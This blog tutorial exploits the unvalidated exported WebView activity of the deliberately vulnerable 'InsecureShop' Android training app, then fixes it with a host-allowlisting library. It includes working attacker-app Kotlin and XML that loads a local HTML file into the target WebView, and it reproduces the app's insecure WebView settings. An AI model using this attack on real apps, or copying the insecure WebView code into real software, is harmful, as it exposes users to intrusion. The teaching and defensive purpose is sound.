Android Hacking & Securing “Insecure Shop” — Unprotected Data URIs

Daniel Llewellyn
3 min readAug 5, 2023
Photo by Mike Petrucci on Unsplash

This is the part of a series of articles, we’re going to look at how to hack and then secure this app:

Hacking

Let’s look at the code in WebView2Activity

Inside the manifest, we can see this:

  <activity android:name=".WebView2Activity" android:exported="true">
<intent-filter>
<action android:name="com.insecureshop.action.WEBVIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
</intent-filter>
</activity>

This indicates to us that the activity is exported, and we should be able to open it from an external view.

If we look at this block of code, we can see that it loads a URL without any verification of the domain:

webview.settings.javaScriptEnabled = true
webview.settings.loadWithOverviewMode = true
webview.settings.useWideViewPort = true
webview.settings.allowUniversalAccessFromFileURLs = true
webview.settings.userAgentString = USER_AGENT
if (!intent.dataString.isNullOrBlank()) {
webview.loadUrl(intent.dataString!!)
} else if (!intent.data?.getQueryParameter("url").isNullOrBlank()) {
intent.data?.getQueryParameter("url")?.let { webview.loadUrl(it) }
} else if (!intent.extras?.getString("url").isNullOrEmpty()) {
intent.extras?.getString("url")?.let { webview.loadUrl(it) }
}

So let’s try and load in a file into this URL. Inside our hacker’s application, let’s create a HTML file and put in /res/raw/hacked.html:

<html>
Hello world
</html>

Then, let’s create a file provider configuration in our attacking app:

<provider
android:name="androidx.core.content.FileProvider"
android:authorities="com.safetorun.insecureshop.fileprovider"
android:exported="false"
android:grantUriPermissions="true">
<meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/file_paths" />
</provider>

For file paths inside /xml/file_paths.xml:

<paths>
<cache-path name="my_cache" path="." />
</paths>

And then let’s create the URI that references that file:

fun Context.getHackedHtmlUri(): Uri? {
// Open your html file.
val `is`: InputStream = resources.openRawResource(R.raw.hacked)

// Create a directory in the cache directory to store the html file.
val cacheDir: File = File(cacheDir, "html")
cacheDir.mkdirs()

// Create a file to store the html file.
val outFile = File(cacheDir, "hacked.html")

// Copy the file from resources to the cache directory.
try {
FileOutputStream(outFile).use { os ->
val buffer = ByteArray(1024)
var bytesRead: Int
while (`is`.read(buffer).also { bytesRead = it } != -1) {
os.write(buffer, 0, bytesRead)
}
}
} catch (e: IOException) {
e.printStackTrace()
}

// Return the Uri of the html file.
return FileProvider.getUriForFile(this, "com.safetorun.insecureshop.fileprovider", outFile)
}

And then finally, let’s start that HTML:

val intent = Intent("com.insecureshop.action.WEBVIEW")
.apply {
setClassName("com.insecureshop", "com.insecureshop.WebView2Activity")
data = ctx.getHackedHtmlUri()
flags = Intent.FLAG_GRANT_READ_URI_PERMISSION;
}
ctx.startActivity(intent)

And we can now see our html file loaded into the WebView.

Securing

Securing these attacks is both harder and easier than you’d think. Easier — because in most cases you only want some fairly specific URLs to be loaded, but harder — because it’s harder to check than you think.

We’re going to use Safe to run to secure the application.

Find safe to run on github

Rather than falling for the same or similar traps as before, we’re going to use a library for verification of URLs. Let’s first import the library:

implementation "com.safetorun:inputverification:2.1.1"

And then, let’s add our validation — add it to onCreate inside the block just before using the data:

val passedVerification = uri.getQueryParameter("url")?.urlVerification {
"insecureshopapp.com".allowHost()
} ?: true
    if (passedVerification.not()) {
throw IllegalArgumentException("Don't hack my app!!")
}

In this example, if the URL isn’t from the host ‘insecureshopapp.com’ then the URL won’t load as an exception will be thrown.

Conclusion

Surprisingly, host validation is one of the most common vulnerabilities that exist in Android applications — especially when links are taken from external sources and loaded into web views.

For more information on using safe to run to protect against URL and other input attacks — check out the documentation:

Verify — Getting started

--

--